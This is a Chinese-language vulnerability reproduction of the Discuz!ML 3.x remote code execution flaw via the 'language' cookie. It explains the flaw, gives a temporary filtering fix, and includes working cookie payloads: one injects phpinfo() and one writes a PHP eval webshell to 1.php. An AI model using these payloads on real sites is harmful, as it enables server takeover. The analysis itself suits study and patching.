这个漏洞已经发布了好几天了,今天抱着好奇的态度来复现一下这个漏洞。想知道,为什么会出现这个漏洞。
Discuz!ML是一个由CodersClub.org创建的多语言,集成,功能齐全的开源网络平台,用于构建像“社交网络”这样的互联网社区。
该引擎基于Comsenz Inc.创建的着名的Discuz!X引擎开发。

2019年7月11日, Discuz!ML被发现存在一处远程代码执行漏洞,攻击者通过在请求流量的cookie字段中的language参数处插入构造的payload,进行远程代码执行利用,该漏洞利用方式简单,危害性较大。

Discuz ML程序官网:http://discuz.ml

Discuz ML漏洞程序下载:1993670169.zip

受影响系统版本

  • Discuz! ML v.3.4

  • Discuz! ML v.3.3

  • Discuz! ML v.3.2

漏洞概述

这次漏洞产生的主要原因是因为没有对cookie字段language参数过滤,导致用户可拼接写入缓存文件中,缓存文件被加载后,造成了代码执行漏洞。

漏洞定位

\source\class\discuz\discuz_application.php 第304行

1.png

可以看到,这里取出cookie之后转小写赋值给 $lng 变量,并没有过滤

2.png

这里定义了一个常量 DISCUZ_LANG,值为 $lng 变量的值

3.png

在Discuz! ML中,生成cachefile的时候,使用的是 DISCUZ_LANG 常量拼接完成的

而这个 DISCUZ_LANG 常量是从cookie字段过来的,并没有过滤,所以这个是我们可控的

\source\class\class_template.php 第30行

4.png

5.png

随后使用 preg_replace_callback 函数对模板内容进行替换

6.png

可以看到在74行,这些变量被拼接在一起,然后赋值给 $headeradd 变量

而我们可控的变量 $cachefile 也被拼接在这个变量的值里面

7.png

这里 $headeradd 变量被拼接到了 $template 变量中

随后,我们插入一段恶意的Payload

8.png

在Cookie字段修改该cookie值为Payload值 mzsW_2132_language=sc'.phpinfo().';

9.png

成功执行了 phpinfo 函数

10.png

在缓存文件中,我们发现 phpinfo 这个函数的确是在缓存文件中,并且是函数的形式存在。

11.png

\source\module\forum\forum_index.php 432行,使用 include 函数包含了 template 方法的返回值

12.png

跟踪这个方法 在 \source\function\function_core.php 654行,包含了 $cachefile 路径,也就是我们插入Payload缓存文件的路径。在上一步,被include包含加载执行,导致了代码执行漏洞。

漏洞利用

当然,我们可以使用我们自己构造的Payload写入一句话木马

'.file_put_contents('1.php',urldecode('<?php eval($_POST["x"]);?>')).' 将这个替换之前的Payload,使其访问后在根目录下新建 1.php 文件,写入一句话木马。

因为是通过url编码的,所以最好使用下面的Payload

%27.file_put_contents%28%271.php%27%2Curldecode%28%27%253c%253fphp%2520eval%28%2524_%2550%254F%2553%2554%255b%2522x%2522%255d%29%253b%253f%253e%27%29%29.%27

13.png

替换之前的Payload

14.png

当我们在放包后,访问该页面Payload被执行,在根目录下就会生成 1.php 一句话木马文件。

漏洞修复

看了网上大佬的文章,其实暂时性修复,可以把 $lng 变量的参数值进行替换。

1
2
3
4
5
$lng = str_replace("(","",$lng);
$lng = str_replace(")","",$lng);
$lng = str_replace("'","",$lng);
$lng = str_replace('"',"",$lng);
$lng = str_replace('`',"",$lng);

( ) ' " 进行替换过滤,可以暂时修复。

具体修复方法还是等官方出补丁吧